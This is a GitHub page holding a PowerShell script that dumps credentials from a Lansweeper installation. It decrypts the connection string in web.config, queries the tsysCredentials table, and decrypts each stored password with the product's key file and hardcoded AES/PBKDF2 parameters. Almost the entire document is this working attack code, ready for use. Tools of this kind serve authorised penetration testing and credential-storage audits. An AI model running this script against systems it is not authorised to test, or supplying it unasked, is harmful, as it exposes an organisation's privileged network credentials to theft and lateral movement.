-
Notifications
You must be signed in to change notification settings - Fork 2
/
LansweeperDecrypt.ps1
100 lines (85 loc) · 4.17 KB
/
LansweeperDecrypt.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
Add-Type -AssemblyName System.Configuration
Add-Type -AssemblyName System.Web
function Decrypt-Password {
param(
[byte[]]$Key,
[string]$CipherText
)
$Salt = [byte[]](39,15,41,17,43,19,45,21)
$Iter = 10000
$AESKeySize = 16
$pb = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($Key, $Salt, $Iter)
$AESKey = $pb.GetBytes($AESKeySize)
$tmp = [Convert]::FromBase64String($CipherText)
$iv = $tmp[0..15]
$blob = $tmp[16..($tmp.Length - 1)]
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$aes.Key = $AESKey
$aes.IV = $iv
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream($blob, 0, $blob.Length)
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$password = $streamReader.ReadToEnd()
$streamReader.Close()
$cryptoStream.Close()
$memoryStream.Close()
return $password
}
Write-Host "[+] Loading web.config file..."
$fileMap = New-Object System.Configuration.ExeConfigurationFileMap
$fileMap.ExeConfigFilename = "C:\Program Files (x86)\Lansweeper\Website\web.config"
$configuration = [System.Configuration.ConfigurationManager]::OpenMappedExeConfiguration($fileMap, [System.Configuration.ConfigurationUserLevel]::None)
$connectionStringsSection = $configuration.GetSection("connectionStrings")
if ($connectionStringsSection -ne $null -and $connectionStringsSection.SectionInformation.IsProtected) {
Write-Host "[+] Found protected connectionStrings section. Decrypting..."
$decryptedSectionXml = $connectionStringsSection.SectionInformation.GetRawXml()
Write-Host "[+] Decrypted connectionStrings section:"
Write-Output $decryptedSectionXml
[xml]$xml = $decryptedSectionXml
$connectionString = $xml.connectionStrings.add.connectionString
$connection = New-Object System.Data.SqlClient.SqlConnection($connectionString)
try {
Write-Host "[+] Opening connection to the database..."
$connection.Open()
$query = "SELECT credname, username, password FROM lansweeperdb.dbo.tsysCredentials"
$command = $connection.CreateCommand()
$command.CommandText = $query
Write-Host "[+] Retrieving credentials from the database..."
$reader = $command.ExecuteReader()
$credentialsList = New-Object System.Collections.Generic.List[Object]
$encryptionKeyPath = "C:\Program Files (x86)\Lansweeper\Key\Encryption.txt"
$Key = [System.IO.File]::ReadAllBytes($encryptionKeyPath)
while ($reader.Read()) {
$credname = $reader["credname"]
$username = $reader["username"]
$encryptedPassword = $reader["password"]
if (![string]::IsNullOrWhiteSpace($encryptedPassword)) {
Write-Host "[+] Decrypting password for user: $username"
$password = Decrypt-Password -Key $Key -CipherText $encryptedPassword
$credentialObject = New-Object PSObject -Property @{
CredName = $credname
Username = $username
Password = $password
}
$credentialsList.Add($credentialObject)
}
}
Write-Host "[+] Credentials retrieved and decrypted successfully:"
$credentialsList | Format-Table CredName, Username, @{Name='Password';Expression={$_.Password};FormatString='********'} -AutoSize
} catch {
Write-Host "[ERROR] An error occurred: $_"
} finally {
if ($reader -ne $null -and !$reader.IsClosed) {
$reader.Close()
Write-Host "[+] Reader closed."
}
if ($connection.State -eq 'Open') {
$connection.Close()
Write-Host "[+] Database connection closed."
}
}
} else {
Write-Host "[ERROR] The connectionStrings section is either not encrypted or not found."
}